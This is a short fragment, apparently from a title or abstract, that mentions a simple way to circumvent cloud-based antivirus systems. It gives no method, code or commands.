simple and effective way to circumvent
cloud-based anti-virus systems.







